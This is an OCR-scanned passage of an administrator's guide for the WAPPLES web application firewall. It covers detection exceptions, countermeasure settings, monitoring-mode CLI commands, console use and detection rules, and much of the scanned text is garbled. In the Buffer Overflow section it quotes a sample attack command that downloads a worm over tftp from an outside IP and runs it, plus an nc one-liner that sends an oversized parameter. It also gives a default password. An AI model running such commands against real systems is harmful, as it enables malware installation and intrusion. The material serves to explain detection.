Buffer Overflow 0
Cookie Poisoning
Cross Site Scripting
Directory Listing
Error Handling
Extension Filtering
File Upload

1P Filtering

L TP T Py

[

10000000

Cancel

Fig. 111-36. Registration of Exceptions for Detection Rules (1)

Selecting Suspicious Access and clicking [Next] to register a URL as an
exception for Suspicious Access will cause [Fig. 46. Registration of Exceptions
for Detection Rules (2)] to be displayed.

Setting Wizard - (www. pentasecurity.com)

Website Detect Exception Setting
Suspicious Access

© Add, Edit or Delete URI to except detection for that Rule.

[ E 3
uRL |/ |
P [192.168.0/24 Edt |

Delete '

[

|Excepted URI P
JEMAIL 192.168.0/24

[ Cancel ] [ < Back ] [ Next > ]

Fig. 111-37. Registration of Exceptions for Detection Rules (2)

Click [Add] and enter the URL and IP address to be subject to exception to add
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them to the list of [URLSs Subject to Exception]. In this example, “/EMAIL/” was
added. The IP address can be left blank if you wish to exempt all IPs. Click
[Next] followed by [OK] to finish the Setting Wizard. The rule will not be applied
to the URL and IP that you specified.

8.2 Change of Policy

After finding the Policy appropriate for the operating environment through test
run and by registering exceptions, you need to change policies to block actual
attacks from the outside. Apply the block and countermeasure settings to the
policy to start regular operation.

Consider the possibility of misdetection and seriousness of the attack when
configuring the blocking options and countermeasures. Blocking is not available
for some rules. Invalid Http blocks the traffic without setting; Suspicious Access
and Response Header Filtering do not perform blocking.

To change the countermeasures, go through the Setting Wizard as follows:

[Policy] - [Select Policy] - [Right-click Policy] - [Edit Policy] > [OK] »>

[Save]
Setting Wizard
X
Edit Policy “\ ) 5% ¢ ‘
v 4 \ o YRR
Select rule to set X A4 SVES) “ Y

© Select rule to set by checking in the checkbox in front of Following list.

Palicy name 1'- of Penta Securit

Sel... Rule name Detection Countermeasure A;
[ Buffer Overflow ==& Custom setting “&= Detection only ‘
[ Cookie Paisoning I Do notdetect =5 Detection only
[0 Cross Site Scripting ==& Customn setting =& Detection only
[ Directory Listing Il Prevent directory ... &%) Error code
[0 Error Handiing Il Block as 1st level =& Detection only
[ Extension Filtering Il Only secure exte... =5 Detection only ‘

[ Fiie Upload 1" Prohibit fle upload | <5 Detection only ¥

Fig. 111-38. Changing the Countermeasure Setting (1)
Selecting the rule to change the countermeasure setting and clicking [Next] allow

you to change the countermeasure settings for each rule in [Fig. 48. Changing the
Countermeasure Setting (2)]. Select whether you will enable or disable detection.
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Setting Wizard

Edit Policy w 3 . W ‘
bl SO

Rule setting

( )

© Buffer Overflow
= Detection @ Detect buffer attack i Countermeasure & Detection only

=5 Detect attacks that make
server buffer overflow. set as
following values.
- key length : 64
- URI length : 352
- Header length : 512

[] Custom Setting 8 Risk o :’T 3

[ Cancel ][ < Back ][ Next >

Fig. 111-39. Changing the Countermeasure Setting (2)

Raise the bar on the right side to select an option other than the default option of
[No Detection]. You can select one of three options.

Selecting [Break Connection] cuts the corresponding HTTP connection when
intrusion is detected. In this case, the attacker’s web browser will not show any
message.

If you select [Send Error Code], WAPPLES will send an error code according to
HTTP. 400 Bad Request is a typical error code.

If you select [Move to Another Web Page], WAPPLES will automatically direct
the traffic to the error-handling page created separately by the administrator.
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9. Uninstallation

The uninstallation of WAPPLES from the network begins with restoring the
original network configuration by directing the traffic from the WAPPLES
service port to the web server. Like installation, this varies according to the
operating environment.

® Inline Mode
Unplug the cable going to the external network from the service port’s IN
terminal and connect it to the line going to the internal web server. Leave the
cable connected to the service port’s OUT terminal for now.

® Reverse Proxy Mode
Direct the DNS or L4/L7 switch settings from WAPPLES to the web server
as the original destination. If you changed the DNS setting, it will take quite
awhile for the change in configuration to influence the external Internet that
you need for WAPPLES to be connected for normal web service until the
changes take effect.

If there is no trouble in using the web service even after removing the network
cables connected to WAPPLES’s service port, then you can uninstall WAPPLES.

Turn off WAPPLES and follow the procedures for uninstalling.

@ When you shut the power to uninstall WAPPLES, make sure power is
shut by turning off the power switch on the back panel before
disconnecting the power plug.

9. Uninstallation _86



1.Enabling, Disabling, and Confirmation of

Monitoring Mode



IV. Monitoring Mode

This sets WAPPLES to the mode wherein it does not detect/modify but only
analyzes the web traffic going through its service port depending on the location
in the network.

Enter the [enable] command in CLI to obtain authorization followed by the
[configure terminal] command to shift to configuration mode. You can use
commands to enable the monitoring mode only when you move to dpi through
the [dpi] command in configuration mode.

1. Enabling of Monitoring Mode
You can enable the monitoring mode in config-dpi mode.
Enter the [monitoring set] command followed by a question mark (?) to view the

parameters that are used with the command. You can enable the monitoring mode
by typing [monitoring set on].

penta-np# configure terminal
penta-np(config)# dpi
penta-np(config-network)# monitoring set on
OK.

2. Disabling of Monitoring Mode

You can disable the monitoring mode in config-dpi mode.

Enter the [monitoring set] command followed by a question mark (?) to view the
parameters that are used with the command. You can disable the monitoring mode
by typing [monitoring set off].

penta-np# configure terminal
penta-np(config)# dpi
penta-np(config-network)# monitoring set off
OK.

3. Confirmation of Monitoring Mode

If you want to check whether the monitoring mode is on or off, type [show
monitoring] in config-dpi mode as follows:

penta-np(config-dpi)# show monitoring

Monitoring : Disable

Monitoring is “off” if the result is “Disable” and “on” if “Enable.”
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Table 12. Error M for Enabling, Disabling, an nfirmation of

Monitoring Mode
Error Message Cause
% Command incomplete The command is incorrect.
Invalid value

% Invalid input detected in

the position marked with “*” (An incorrect value is indicated with

“A” below).
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1.Using the Management Tool
2.Understanding the Detection Rules
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V. Pre—Operation Preparations

This chapter explains the configurations that must be completed before operating
WAPPLES. It describes the WAPPLES Agent, WAPPLES management tool login
window, how to change the password, and initial screen of the management tool.

1. Login
The WAPPLES management tool can be accessed by the authorized administrator
only. If you attempt to access the WAPPLES management tool for the first time

through the web server, [Fig. 49. Login Window] will appear.

WAPPLES login E3

\VAPPL::)

Copyright{c) 1997-2010 all Rights Reserved

o: | | Ok ]

L

Password : [ Cancel ]

[[] Change password after login

Fig. V-1. Login Window
The administrator can log on to the management tool in two different modes.

Table 13. Administrator Operation Mode

Administrator Type Description

Can use overall functions related to WAPPLES
[Operator] operation such as Setting Wizard of the management
tool, detection log, dashboard, and audit log search
Can view the detection log, dashboard, audit log, and
[Guest] status of policy setting but is not authorized to use the
Setting Wizard and to changed the policy.
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Can use detection logs, dashboard, audit logs, and

[Website policy setting regarding to his/her managed websites.
administrator] Setting Wizard and adding website are not allowed to
use.

Entering the ID and password and clicking [OK] allow you to log on to the
management system as an operator or a guest depending on the ID.

The authorized administrator of WAPPLES must have no malicious intention,

@ The password you enter will be displayed as “*’ to prevent exposure.

receive proper training on the management function of WAPPLES, and perform
the duties correctly according to the Administrator’s Guide. The operator can use
the overall functions of the management tool in relation to the operation, whereas
the guest can view the detection log, dashboard, audit log, and status of policy
setting, but cannot use the Setting Wizard and change the policy.

The management tool supports the following security functions for the safety of
the WAPPLES system:

® Encrypted Communication Between Management Tool and WAPPLES
The communication between the management tool and WAPPLES is
encrypted so that it is protected safely even when some parts of the
communication become exposed.

® Prevention of Administrator’s Password-Guessing Attack
After an incorrect password is entered thrice, the system will shut down the
management tool.

The management port displays the following error message in case the ID and
password of the operator and the guest are incorrect:

Table 14. Login Error Message

Error Message Cause
Incorrect Password Failed to log in
Password input error occurred 3 Failed to log in for three
times! consecutive times

The management tool will issue a security warning message if you failed to log in
for three consecutive times. The following security warning message will be
displayed:

Table 15. rity Warning M in f n ive Login
Failures
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Security Warning Message Cause

@ A security warning message is displayed if you failed to log in for three
consecutive times when the IP Block log is recorded, when the audit log is
recorded for DB capacity warning, and when the audit log is recorded for
DB capacity overload; the warning message will be displayed for the most
recently recorded log.

There were 3  times of
inappropriate administrator
connection trials.

2. Changing the Administrator’s Information

Three consecutive login failures
were recorded.

Checking [Change password after login] in [Fig. 49. Login Window] lets you
modify the administrator’s information. The password required for accessing the
WAPPLES management tool for all 1Ds is initially set to “penta”; when you log
in with this password, the window that appears when you check “Change User
Information After Login” is displayed on the login window.

If you choose to change user information or log in for the first time, you can
change your information in [Fig. 50. Changing the User Information Window].
The password for the operator and the guest is separately managed so that you
can use different passwords for them.

Change password

[CJchange ID [C]Edit information
Previous 1D : |admin |

: Set an address of e-mail that receives information
New ID : [ il when ‘DB FULL’ is occurred.

E-mail address of receiver @ | testmiest oo \

Change password

ai ‘ Set address of e-mail and SMTP that is used to
New password @ | bl send system information from WAPPLES.

Check password @ | J E-mail address of sender : |ectiiect 1
Password should be in English or Number, and : =
be harmony with more than one special SMTP address : 1.2 |

character. Length should be longer than 6
characters.

[ confirm ] [ Cancel ]

Fig. V-2. Changing the User Information Window
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The password must have at least 6 characters and include 1 or more special
characters. The window will prompt you again if you fail to comply with this rule.

@ The password you enter will be displayed as “*’ to prevent exposure.

The window will prompt you to enter the new password twice and to reenter the
password if the two inputs of the new password do not match to prevent the
user’s mistake in advance.

The management tool will display the following error message if you failed to
change the password:

Table 16. r Information Change Error M

Error Message Cause

Password should be moer than 6
characters.

The new password has less than 6
characters.

Password should include more
than 1 special character.

The new password does not include
a special character.

New password is not
correspondence  with  re-input
password value.

The inputted new password and the
re-inputted new password do not
match.

information.
saved E-

After setting secure password, type E-mail
Warning message will be sent to
mail address of administrator. when DB Full occurs

These receiver’s E-mail address and SMTP address can be edited via [XI11Setting W
izard]->[Operation Setting]-> [E-MAIL]

Table 18 Administrator E-mail Address Setting Error Message

Error Message Cause

The format of the sender’s EMAIL
address or receiver’s EMAIL
address is incorrect.

It’s not the E-MAIL

Wrong IP If SMTP address is not correct one

3. Initial Screen of the Management Tool

Upon logging in, you will see the following window (the initial screen is divided
into the toolbar at the top and the tab screen at the bottom):
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AN

9] WAPPL

Management

- W

Waebisites | @ Whole -

de Ly W @

Period | Rece v| view | Whole v

wapeLEY Add Tab | Detection Log Dashboard _ AuditLog Monitoring  Policy Report Setting Wizard
? Recent 1 day. Whole 687 N |1/7 page v
Rule Name Source 1P Country  URI Destination Adch Countermeasure  Risk -~
Suspicious Access 192.166.3.156  ? (ocal) 192,168.3.153/C17_S 168.3.153:80 i Disconne
Parameter Tampering  192,166,3.156  ? (ocal) 192.168.3.153/korean/... 192.168.3.153:00 Detection .
Parameter Tampering  192.166.3.156  ? (ocal) 192.168.3 192.166.3.153:60 9/14/2010 10:30:20 PM @ Detection
Parameter Tampering  192,168,3.156  ? (ocal) 192.168.3 . 192,168,3.153:80 9/14/2010 10 @ Detection ..,
Parameter Tampering  192,168,3.156 2 (local) . 153/korean/.., 192.168.3.153:80 9/14/2010 10; = Detection ,

Cross Site Scripting 192.168.3.156 7 (local) ,153/bbs.php 192,168.3,153:80 9/14/2010 10; = Detection .

SQL Injection 1921683156 7 (local) ,153/duck/in...  192,168.3,153:80 9/14/2010 10:

Stealth Commanding 192.168.3.15 7 (local) 192,168,3.153:80 9/14/2010 10:08:18 PM

Unicode Directory Trav.., 192,168.3.156  ? (local) 192,168.3.153/msadc/.... 192,168.3,153:80 9/14/2010 10:

Stealth Commanding 192.168.3.156  ? (local) 192.168.3. 192.166.3.153:80 9/14/2010 10

Unicode Directory Trav... 192.168.3.156  ? (ocal) 192.168.3 192,166.3.153:60 9/14/2010 10

Tnvalid URT 192.168.3.156  ? (local)  192.168.3.153/scripts/.... 192,168.3.153:80 9/14/2010 10

Unicode Directory Trav... 192.168.3.156  ? (local) 192.168.3.153:80 9/14/2010 10:08:18 PM

Stealth Commanding 192.168.3.156 7 (local) 192,168.3.153:80 9/14/2010 10:

Unicode Directory Trav.,, 192,168,3,156 7 (ocal) 192,168.3.153:80 9/14/2010 10:

Stealth Commanding 192.168.3.15 7 (local) 192,168,3.153:80 9/14/2010 10:

Unicode Directory Trav.., 192.168.3.156 7 (local) | 153/scripts/.... 192,168.3,153:80 9/14/2010 10;

Stealth Commanding 192.168.3.156  ? (local) 3fa.aspf.... 192,168.3.153:80 9/14/2010 10:

Unicode Directory Trav... 192.168.3.156 2 (local) 153fa.asp/..... 192.168.3.153:80 9/14/2010 10

Trvalid URT 192.168.3,156  ? (local) .153/a.asp/..... 192.168.3,153:80 9/14/2010 10:08:18 PM

Unicode Directory Trav.., 192,168,3.156  ? (ocal) .153fadsarmpl... | 192.168.3.153:80 9/14/2010 10:08:18 PM

Unicode Directory Trav.., 192,168,3,156  ? (ocal) 192,168,3.153:80 9/14/2010 10:08:18 PM

Unicode Directory Trav.., 192,168.3.156  ? (ocal) 192.168.3.153:80 9/14/2010 10:08:18 PM

Unicode Directory Trav.., 192,168,3.156  ? (ocal) 192,168,3.153:80 9/14/2010 10:08:18 PM LA
Unicode Directory Trav... 192,168,3.156 7 (local) 192,168,3.153:80 9/14/2010 10:08:18 PM A
Unicode Directory Trav... 192,168.3.156  ? (oca) 192.168.3 192,168.3.153:80 9/14/2010 A
Unicode Directory Trav... 192.166,3.156  ? (ocal) 192,168.3.153/scripts/... 192.168.3.153:80 9/14/2010

Unicode Directory Trav..., 192,168.3.156  ? (ocal) 192.168.3 192.168.3.153:80 9/14/2010 @ Detection

Tnvalid URT 192,168.3,156  ? (ocal) 192,168.3.153/scripts/.... 192,168.3.153:80 9/14/2010 < Detection ..,
Stealth Commanding 192.168.3.156  ? (ocal) 192.168.3. 192,168.3.153:80 9/14/2010 @ Detection ,
Unicode Directory Trav.., 192,168,3.156 7 (local) 192,168.3.153fisadmp.,, 192,168.3,153:80 9/14/2010 Detection ,
Stealth Commanding 192,168,3.156 | 7 (ocal) 192,168,3.153/scripts/.... 192,168,3,153:80 9/14/2010 etection .
Unicode Directory Trav.., 192.168.3.156  ? (local) 192,168.3 192.168.3.153:80 9/14/2010 = Detection .
Stealth Commanding 192.166,3.156  ? (oca) 192.168.3.153/any.asp.. 192.168.3,153:80 9/14/2010 @ Detection ...
Unicode Directory Trav... 192.168.3.156  ? (local) 192.168.3.153/any.asp... 192.168.3.153:80 9/14/2010 10:08:18 PM Detection

Tnvalid URT 192.168.3.156  ? (local) .3.153/any.asp... 192.168,3.153:80 9/14/2010 8 PM Detection .
Unicode Directory Trav... 192.168.3.156 2 (local) .3.153/scripts/.... 192.168.3.153:80 9/14/2010 118 PM & Detection .
Unicode Directory Trav.., 192,168.3.156  ? (local) 13,153/ _vti_bin... 192,168,3,153:80 9/14/2010 10:08:18 PM & Detection ,
Unicode Directory Trav.., 192,168,3.156 7 (local) 13,153/ _vti_cnf... 192.168.3.153:80 9/14/2010 10:08:18 PM

Limicrda Diractory Trav 102 1683166 2 fncal) 102 1683 163/ acn 107 168 2 16280 0AA/010 1008218 OM i Natartion L

Fig. V-3. WAPPLES Initial Screen

The toolbar consists of the following controls:
® [Add Tab] button for adding up to 10 new tabs

® Toggle buttons for toggling tab screens such as [Detection Log],
[Dashboard], [Audit Log], and [Monitoring]

Filter group with various filters for data displayed on the screen
[Setting Wizard]

Tab Screen Setting
A /\
Y
® 5 B @
AR
waPmLES Bz | BRE] MAEE  ZAR] AAEHE HULW ST DiAY

Fig. V-4. Toolbar

@ The Setting Wizard button in the toolbar appears only when you log in as
operator. When you log in as guest, the Setting Wizard button will not
appear in the toolbar.
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4. Tab Window

4.1 Adding a Tab

Click the [Add Tab] button to add a new tab. You can set the contents of the new
screen (Policy, detection log, monitoring) or set filters according to how you want
to view the data. You can also split the screen to view many tabs simultaneously.
You can add up to 10 tabs.

s | &x P suan @
T 2 & &
e B8 BNE] WANE TNEI NAMED BMED Wik = an o
ETTT x

T2 BANIER STRUD,
°

Fig. V-5. Adding a New Tab

4.2 Detection Log, Dashboard, Audit Log, and Monitoring
Toggle Buttons

The [Detection Log], [Dashboard], [Audit Log], and [Monitoring] buttons toggle
the contents of the activated tab screen.

The [Detection Log] button will show the detection log on the tab screen, the
[Dashboard] button, the web server traffic and detection in graph form, and the
[Audit Log] button, the audit data for behaviors executed such as administrator

login or configuration changes. The [Monitoring] button will show the system
status of WAPPLES on the screen.

You can view all tabs simultaneously or view a few selected tabs.

The following is an example wherein the first tab screen is set to show detection
logs, and the second tab screen, the dashboard, using the [Add Tab] and toggle
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buttons.

%] WAPPLES Management Console

[=] Iﬁ‘\'XW
AN T

Add Tab | DetectionLog Dashboard  Audit Log Monitoring  Policy Report | et @ e m | Setting lea'd

ur Dash board : Whole [ Dash board : Whole | abx
Recent 1 day. Trrafic Curve 2D v

as_ ..... mERSP|REDER|

Topics Value
b Minimum 0 ‘
z Maximum 0
é Average 0

Lately 0

14300:00 14500:00 147.00:00 1490000 1411:00:00 1413:00:00 141500:00 1417:00:00 1419:00:00 1421:00:00 1423:00:00 151:00:00

~=192168.3.153 ~ Unregistered website ~=Whole

Fig. V-6. Selecting Dashboard After Adding a New Tab

4.3 Splitting the Tab Window

W] WAPPLES Management Console

(™ G R QR - O

4dd Tab | Detection Log Dashboard  Audit Log  Monitaring
& Dash board ; Whole lﬂ' Dash board : Whole I

WAPPLED

Policy Repart,

Fig. V-7. Selecting/Dragging a Tab

Selecting the name of the tab screen [Dashboard: Whole] and dragging it as in

[Fig. 55. Selecting/Dragging a Tab] allow you to split the tab when the window in
[Fig. 56. Tab Window Split (1)] appears.
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sZiad  e2ieh  eRiBA eRmM  sE2A 7RO T2 2N el TEeAl TRION  TEaAl
Time
— 192.168.0.185 TR E — OS2 AMIIE

Fig. V-8. Tab Window Split (1)

Small icons will appear at the top and bottom and on the left and right sides of the
screen; dragging the screen to an icon will split the tab into that direction.

The icons on the outer side -- @, @, 3, and @ -- indicate the position inside the

entire window; the inner icons -- &, ®, @, and ® -- indicate the position within

the current screen (the meaning of the outer and inner icons is the same in this
example since there is only one tab window).

Dragging the screen in [Fig. 56 Tab Window Split (1)] to the position of @ will
divide the screen into top and bottom screens as in [Fig. 57 Tab Window Split

)]
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[ WAPPLES Management Console s

o B R @ e —

Period | Recent 1 v | View { Trrafic

waAPPLES Add Tab | Detection Log Dashboard  Audit Log Monitoring  Policy Report Setting Wizard
| petection log : whole | b x

il Recent 1 day. Whole 685 N 11,‘7 page b
Rule Name Source IP Country  |URD Destination Addr... | Time Countermeasure  Risk ~
Suspicious Access 192.168.3.156 ? (local) 192.168.3.153{C17_Suspiciou... 192.168.3.153:80 9/14/2010 10:34:08 PM 8z Disconnec... £ ~
Parameter Tampering 192.168.3.156 ? (local) 192.168.3.153/korean/C11_P... 192.168.3.153:80 9/14/2010 10:31:28 PM =5 Detection .

Parameter Tampering 192.168.3.156  ? (ocal) 192.168.3.153/koreanfC11_P.. 192.168.3.153:80 9/14/2010 10:30:20 PM =5 Detection .

Parameter Tampering 192.168.3.156 ? (local) 192.168.3.153/korean/C11_P.. 192.168.3.153:80 9/14/2010 10:28:01 PM =57 Detection .

Parameter Tampering 192,168.3.156  ? (local) 192.168.3.153/korean/C11 P... 192.168.3.153:80 9/14/2010 10:25:22 PM =& Detection .

Cross Site Scripting 192.168.3.156 ? (local) 192.168.3.153/bbs.php 192.168.3.153:80 9/14/2010 10:08:18 PM == Detection ... £\

SQL Injection 192.168.3.156 ? (local) 192.168.3.153/duckfindex.asp  192.168.3.153:80 9/14/2010 10:08:18 PM == Detection ... £

Stealth Commanding 192.168.3.156  ? (ocal) 192.168.3.153/msadc/.... ... f.. 102.168.3.153:80 9{14/2010 10:08:18 PM =5 Detection ...

Unicode Directory Trav... 192.168.3.156  ? (local)  192.168.3.153/msadc/... .../ 192.168.3.153:80 9/14/2010 10:08:18 PM <& Detection ... [ i
[ Dash board : whole | abx

] Recent 1 day. Trrafic \VCun/e 2D =

& &[] 2 iR £ D [ER

Topics Value

8 Minimum 0

it Maximum 0

c b0 Average 0 P e Sl

Latsly b 147.0000  14900:00 1411:00:00 14130000 141500:00 1417:00:00 141900:00 1421:0000 142300:00 151:00:00
Time
s 1921683153 Urregistered website ~—Whole

Fig. V-9. Tab Window Split (2)

Using this feature, you can view many screens through the WAPPLES
management tool. You can also adjust the size of each screen by dragging the
border between screens. You can set up screens flexibly and freely according to
your need as in [Fig. 53 Adding a New Tab]. This screen configuration is saved
automatically and displayed as is the next time you start the management tool.

5. Website, Period, and View Filters

Website filter, period filter, and view filter are available. The contents of each
filter vary depending on the contents of the corresponding tab.

5.1 Website Filter

The website filter lets you select and view the websites you wish to view. You can
select one site or all websites. Note, however, that you cannot view individual
sites when viewing audit logs because the audit log is not created individually for
each site.
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websites | @ Whale v
ped 52192 1'_58'3' 153 ' Setting Wiz
52 Unregistered website

Wiew Describtion

Fig. V-10. Selecting the Websites

5.2 Period Filter

You can view logs within a specific period with this filter. Simply select [Recent
5 minutes], [Recent 1 hour], [Recent 1 day], [Recent 1 week], or [Recent 1
month]; selecting [Custom Setting...] lets you set the period freely.

Al

Wehbsites i @ whole v

Period | Recent 1 | View ’ Trrafic v}

Recent S minutes
Recent 1 hour 4|
|Recent 1 week { Curve 2D

Recent 1 month
Recent 1 year

Setting Wiz

Custom Setting...

Fig. V-11. Selecting the Search Period

Selecting “Custom Setting” in [Fig. 59 Selecting the Search Period] lets you
specify the search period in [Fig. 60 Configuration of the Custom-Set Period].
[Fig. 60 Configuration of the Custom-Set Period] is an example of setting the
period to 1 month from December 27, 2006.
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Select period @

from o
© [ 13 [dy ¥ before [ 13 [howr v] afer
| 12:00:00 A1 ‘ | 11:59:50 PM |

® current

period : |Recent 1 day ‘

[ confirm | [ cancel |

Fig. V-12. Configuration of the Custom-Set Period

5.3 View Filter

The view filter performs differently for different screens such as Detection Log,
Dashboard, and Audit Log.

For detection log, you can view data by simply specifying each rule or select the
[Custom Setting..] option to apply various filters such as IP, URI, Country, and
Rule in combination. For detailed descriptions of the view filters for detection
logs, refer to [VI1I. Detection Log].
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Select Log filter @@@

Source address | URT Country I Rule name | ETC

[Show Selected only vJ

Select Country Name ~
[0 Ccape Werde
[0 cayman Islands -
[0 central African Republic
O chad
[0 chie
[0 Colombia
[0 comoros
. congo
[ [} Congo @

Descriptijcountry {China) ‘

[ Confirm ] [ Cancel ]

Fig. V-13. View Filter of the Detection Log

Dashboard data can be viewed through the following filters (for detailed
explanations on dashboard filters, refer to [VIII. Dashboard]):

Wiew Netwark stat, v

Page hits
Detection log
|Rule

System status

| Network status

Fig. V-14. View Filter of Dashboard

You can view all audit logs or view them by category. For detailed explanations
on the view filter of the audit log, refer to [IX Audit Log].
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Yiew l Login relatdd v;

Login related

Setting change
WAPPLES system[!
Data related
Network interface

- Bl

Fig. V-15. View Filter of the Audit Log

6. Setting Wizard

Clicking the [Setting Wizard] button causes [Fig. 64. Setting Wizard] to appear,
letting you modify configurations for everything except WAPPLES management
port IP-related configurations.

Setting Wizard
Setting Wizard

Select an itern for setting

© select an item for setting

" o Operation Settings ‘ o Network Settings

Settings for audit, ' Settings for WAPPLES and
interworking and update network configuration

P

Fig. V-16. Setting Wizard

You can easily modify settings for WAPPLES by following the wizard. For
details, refer to [ X111 Setting Wizard]

All configurations will be saved and reflected on the WAPPLES system only
when you click the [Complete] button on the final page of the Setting Wizard. If
you made incorrect configurations, or in case you wish to restore the previous
settings, click [Cancel] to cancel the setting.

The Setting Wizard of the WAPPLES management tool mostly consists of parts
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showing options for settings for the user to select to prevent the user’s mistakes
as much as possible. Note, however, that the user must directly enter values for
some settings. For example, the user should enter values between 0~255 when
specifying the IP address. When you make a mistake in this part, a red
exclamation mark (@) appears on the right side of the part where you made a
mistake as in [Fig. 67. Example of Input Error]; placing the cursor on this mark
lets you view the explanation for the mistake. When the @ mark appears, you
cannot proceed to the next page. You need to correct the mistake to proceed.

Setting Wizard

Interlocking Setting
SNMP Interlocking

© Set SNMP ( Simple Network Management Pratocol ) TRAP Interlocking.
Then you can receive detected log from that SNMP Server,
Interlocking SNMP
SNMP Server IP 9§192.163.0.255I J Interlgg:kir:g |select | SNMP interlocking object
—_— object :
ax) 192, 166.0, 100 O Detection log
Generaly 162
[ Cancel ] [ < Back ] [ Mext> |

Fig. V-17. Example of Input Error

@ The Setting Wizard is accessible only to the administrator.

@ Refer to XI11.1.1 Account Management
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1. Definition of Detection Rules
2. Details of the WAPPLES Rules
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V1. Understanding the Detection Rules

This chapter will go over the detection rules to provide the basic knowledge
needed for WAPPLES operation.

1. Definition of Detection Rules

Detection rule is the reference based on which WAPPLES inspects the web traffic
to detect or block web attacks. WAPPLES inspects normal web traffic and attacks
based on these detection rules and records the basis for detection.

WAPPLES detection rules are not based on the one-on-one mechanism made of
simple patterns but logical analysis of web traffic, which is designed to find web
attacks. In other words, one of the advantages of WAPPLES is that it can detect
new types of attacks or irregular attacks generated by modifying some parts of
the existing attacks without additional pattern updates. WAPPLES divides these
detection rules into 24 categories based on the types of web attacks. Moreover,
WAPPLES protects the web server by using the combination of activated rules as
detection policy.

The default detection policies of WAPPLES do not use some detection rules for
stable operation. For details on the default policies, refer to [Table 85 Basic
Contents of Policy]. The administrator can change the detection and
countermeasure setting for each rule of the policy when there are special requests
in each website or to increase or decrease the security level.

To help you understand the detection rules, they are classified as follows
according to the detection location, detection method, and attack method:

1.1 Classification of Detection Rules by Detection Location

The web service basically consists of HTTP Request Message and HTTP
Response Message. WAPPLES detects the part that becomes a threat in Request
Message or Response Message according to the type of security threat and its
contents. When you decide to block the threat in Request Message once it is
detected, Request Message will not be transmitted to the web server protected by
WAPPLES. On the other hand, the block settings for threats detected from
Response Message hide the result of the intrusion attempt from the intruder.

The following is the classification of rules by detection location:

Table 17. Classification by Detection Location

HTTP  Buffer Overflow, Cookie Poisoning, Cross Site Script,
Request  Extension Filtering, File Upload, Input Content Filtering, Include
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Message Injection, Invalid Http, Invalid URI, IP Filtering,
Parameter Tampering, Privacy File Filtering,
Request Method Filtering, SQL Injection,
Stealth Command, Suspicious Access,
Unicode Directory Traversal, URI Access Control
HTTP Directory Listing, Error Handling, Invalid Http,
Response  Privacy Output Filtering, Response Header Filtering,
Message  Website Defacement

1.2 Classification of Detection Rules by Detection Method

WAPPLES detection rules can be divided into [General Detection], [Interaction],
and [Hide/Falsify Information] according to the detection method.

[General Detection] determines the security threat based on the inspection of
communication contents of Request/Response Message.

[Interaction] is the method wherein WAPPLES creates a special condition for the
suspected attacker as if questioning and answering and analyzes the answer to
determine the threat.

[Hide/Falsify Information] is the method wherein WAPPLES hides the parts that
are not required in the actual service but are essential for an attack or
automatically modifies the information that needs to remain unexposed based on
the policy in the communication between the web server and the client.

Table 18. Classification by Detection Method

Buffer Overflow, Cross Site Script, Directory Listing,
Error Handling, Extension Filtering, File Upload,
Include Injection, Invalid Http, Invalid URI, IP Filtering,

I;iggt'}zln Privacy File Filtering, Privacy Input Filtering,
Request Method Filtering, SQL Injection,
Stealth Command, Unicode Directory Traversal,
URI Access Control, Website Defacement
. Cookie Poisoning, Parameter Tampering,
Interaction .
Suspicious Access
Hide/Modif

y Input Content Filtering, Privacy Output Filtering,
Informatio Response Header Filtering, Cross Site Script
n

1.3 Classification of Detection Rules by Attack Method

Detection rules can be divided according to the attack method. The attacker may
launch a direct attack or make preparations for an attack or gather information
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before an attack.

Table 19. Classification by Attack Meth

Buffer Overflow, Extension Filtering, Include Injection,
Invalid Http, Invalid URI, Parameter Tampering,
Request Method Filtering, SQL Injection,
Stealth Command, Suspicious Access,
Unicode Directory Traversal
Collecting Cookie Poisoning, Cross Site Script, Directory Listing,
Informatio Error Handling, File Upload, IP Filtering,

n Response Header Filtering, URI Access Control

Direct
Attack
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2. Details of the WAPPLES Rules

2.1 Buffer Overflow

01 Overview

The Buffer Overflow detection rule is one of the security weak points of general
application programs. Generally, a Buffer Overflow attack causes unexpected
error or executes a malicious command by sending a value greater than the
expected data value.

A web server or a web application can experience Buffer Overflow; the Buffer
Overflow of widely used products will be known to many users. Therefore, the
user of the corresponding product will be exposed to great danger. Furthermore, a
self-developed application has relatively more chances of experiencing Buffer
Overflow since the application is not verified.

This type of attack is directly executed from the application or component. The
data used in the attack are the ones that take the value from the outside for
malicious use. Sometimes, the attack is made manually, but mostly by automated
tools.

02 Example of Attack

This attack causes Buffer Overflow to download and execute a worm program.
The attacker adds the following command and random characters to the HTTP
Request to extend the header length to up to 5,642 characters to attack:

cmd /c tftp -i 210.105.101.118 GET damn-microsoft-update.exe&start damn-
microsoft-update.exe&exit

Note that the data stream as a part of HTTP Request is base-64-encoded. When
decoding the contents of this part, you will see that it contains the attack
command.
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()] Log details Qlﬁ

Character Set : | ks_c_5S601-1987 <Korean> v

Field Walue
Policy Demo Policy g otea
Rule Buffer Overflow Raw Data | Decoded Data
Source Address  192.168.3.156 POST fscriptsfwa.exe HTTP{1.0
Source Country  Unknown ?CC‘EDtit:f* — formeuriencoded

R . ontent-type: application/x-www-form-urlencode:
destination ad... 192.168.3.153:80 Host: 192.168.3.153
Time 9/14/2010 10:07:40 PM Connection: Close
WebSite 192.168.3.153 User-agent: Sphere Acceptance Tester v3.0

Content-Type: application;x-www-form-urlencoded

Requested URI  fscripts/wa.exe Content-Length: 175

Countermeasure  Detection only
risk 0 (Low) AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA =1234werfddf

Reason of detection
Parameter length is 157, exceed maximum length.

Fig. VI-1. Details of the Buffer Overflow Attack Log

This is the Buffer Overflow attack test using Perl. Assume that the web
application designed the database expecting only 15 or less characters in the
“phone” parameter. Note, however, that the attacker sent 500 “f” characters
through the “phone” parameter; if the web application handled the parameter
without error, 485 characters other than the 15 characters are most probably saved
in another area. This can cause unexpected results.

[codekim@jin ~/public_html/test]$ echo -e "GET /join.php?phone="perl
-e 'printf "f£" x 508" “WnHTTP/1.6nkn" | nc -vu jin. Z2..0C Ky 88
jin.hannam.ac.kr [20%.5%0 #%,%39] 88 (www) open

sent 532, rcud 2
[codekim@jin ~/public_html/test]$

mysql> select * from info;

| num | id | password | name | email | address | phone

et S e e e D et 3

FREFFFFFFFFFFFF |

1 row in set (0.00 sec)

